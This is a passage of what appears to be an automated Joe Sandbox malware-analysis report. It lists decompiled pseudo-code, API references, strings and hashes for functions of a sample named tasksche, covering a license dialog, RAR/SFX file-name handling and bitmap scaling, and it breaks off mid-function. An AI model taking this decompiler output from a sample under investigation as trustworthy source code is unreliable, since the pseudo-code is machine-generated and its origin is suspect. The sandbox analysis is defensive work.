0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

p["u k"u, xrefs: 0040DC90
STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC$p["u k"u
API String ID: 1444658586-3151628066
Opcode ID: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: 9567939a25e22092ccbfb99d506bbc14daa15c8c25c728e04901b5a25124ff52
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: d9c859b37e3cb600bcc19d133c3a45f80262450e0631c0b47ec7fe9b94556e21
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
								if(_t16 == 0) {
									L25:
									return E0041A7F7(_t49, L"00");
								}
								_t51 = _t50 + 6;
								_t19 = E00410B6D( *_t51 & 0x0000ffff);
								__eflags = _t19;
								if(_t19 == 0) {
									goto L25;
								}
								_t20 = _t51;
								while(1) {
									 *_t20 =  *_t20 + 1;
									__eflags = ( *_t20 & 0x0000ffff) - 0x3a;
									if(( *_t20 & 0x0000ffff) != 0x3a) {
										break;
									}
									_t11 = _t20 - 2; // -7
									_t40 = _t11;
									__eflags =  *_t40 - 0x2e;
									if( *_t40 == 0x2e) {
										_t41 = 0x41;
										 *_t20 = _t41;
										return _t20;
									}
									_t47 = 0x30;
									 *_t20 = _t47;
									_t20 = _t40;
								}
								return _t20;
							}
							_t52 = E0040A81E(_t55, _t34);
							while(1) {
								 *_t52 =  *_t52 + 1;
								_t22 =  *_t52 & 0x0000ffff;
								if(_t22 != 0x3a) {
									break;
								}
								_t23 = 0x30;
								 *_t52 = _t23;
								_t52 = _t52;
								__eflags = _t52 - _t34;
								if(_t52 < _t34) {
									L13:
									_t25 = _t34 + E0041A7AF(_t34) * 2;
									while(1) {
										__eflags = _t25 - _t52;
										if(_t25 == _t52) {
											break;
										}
										 *((short*)(_t25 + 2)) =  *_t25;
										_t25 = _t25;
										__eflags = _t25;
									}
									_t27 = 0x31;
									_t52[1] = _t27;
									return _t27;
								}
								_t29 = E00410B6D( *_t52 & 0x0000ffff);
								__eflags = _t29;
								if(_t29 == 0) {
									goto L13;
								}
							}
							return _t22;
						}
						__eflags = E00411E60(_t48, L"sfx");
						if(__eflags != 0) {
							goto L7;
						}
						goto L6;
					}
					_t31 = E0041A7AF(_t34);
					__eflags = _t31 - _a8 + 0xfffffffd;
					if(_t31 < _a8 + 0xfffffffd) {
						goto L6;
					}
					goto L4;
				}
				E00410BC9(_t54, _t34, L".rar", _a8);
				_t50 = E0040A76A(_t34);
				goto L7;
			}

0x0040a8a2
0x0040a8ae
0x0040a8b0
0x0040a8b2
0x0040a8cd
0x0040a8cd
0x0040a8d0
0x0040a8d4
0x0040a8e8
0x0040a8ee
0x0040a8f3
0x0040a8f5
0x0040a906
0x0040a90c
0x0040a913
0x0040a913
0x0040a918
0x0040a96d
0x0040a96d
0x0040a974
0x0040a979
0x0040a97b
0x0040a9b8
0x00000000
0x0040a9c4
0x0040a97d
0x0040a984
0x0040a989
0x0040a98b
0x00000000
0x00000000
0x0040a98d
0x0040a9a2
0x0040a9a2
0x0040a9a8
0x0040a9ac
0x00000000
0x00000000
0x0040a991
0x0040a991
0x0040a994
0x0040a998
0x0040a9b2
0x0040a9b3
0x00000000
0x0040a9b3
0x0040a99c
0x0040a99d
0x0040a9a0
0x0040a9a0
0x00000000
0x0040a9a2
0x0040a920
0x0040a93d
0x0040a93d
0x0040a940
0x0040a947
0x00000000
0x00000000
0x0040a926
0x0040a927
0x0040a92b
0x0040a92c
0x0040a92e
0x0040a94b
0x0040a952
0x0040a960
0x0040a960
0x0040a962
0x00000000
0x00000000
0x0040a95a
0x0040a95f
0x0040a95f
0x0040a95f
0x0040a966
0x0040a967
0x00000000
0x0040a967
0x0040a934
0x0040a939
0x0040a93b
0x00000000
0x00000000
0x0040a93b
0x00000000
0x0040a93d
0x0040a902
0x0040a904
0x00000000
0x00000000
0x00000000
0x0040a904
0x0040a8d7
0x0040a8e4
0x0040a8e6
0x00000000
0x00000000
0x00000000
0x0040a8e6
0x0040a8be
0x0040a8c9
0x00000000

APIs

Part of subcall function 0040A76A: _wcsrchr.LIBCMT ref: 0040A77E

_wcslen.LIBCMT ref: 0040A8D7
_wcscpy.LIBCMT ref: 0040A90C

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

.rar, xrefs: 0040A8B8
sfx, xrefs: 0040A8F7
rar, xrefs: 0040A906
exe, xrefs: 0040A8E8

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
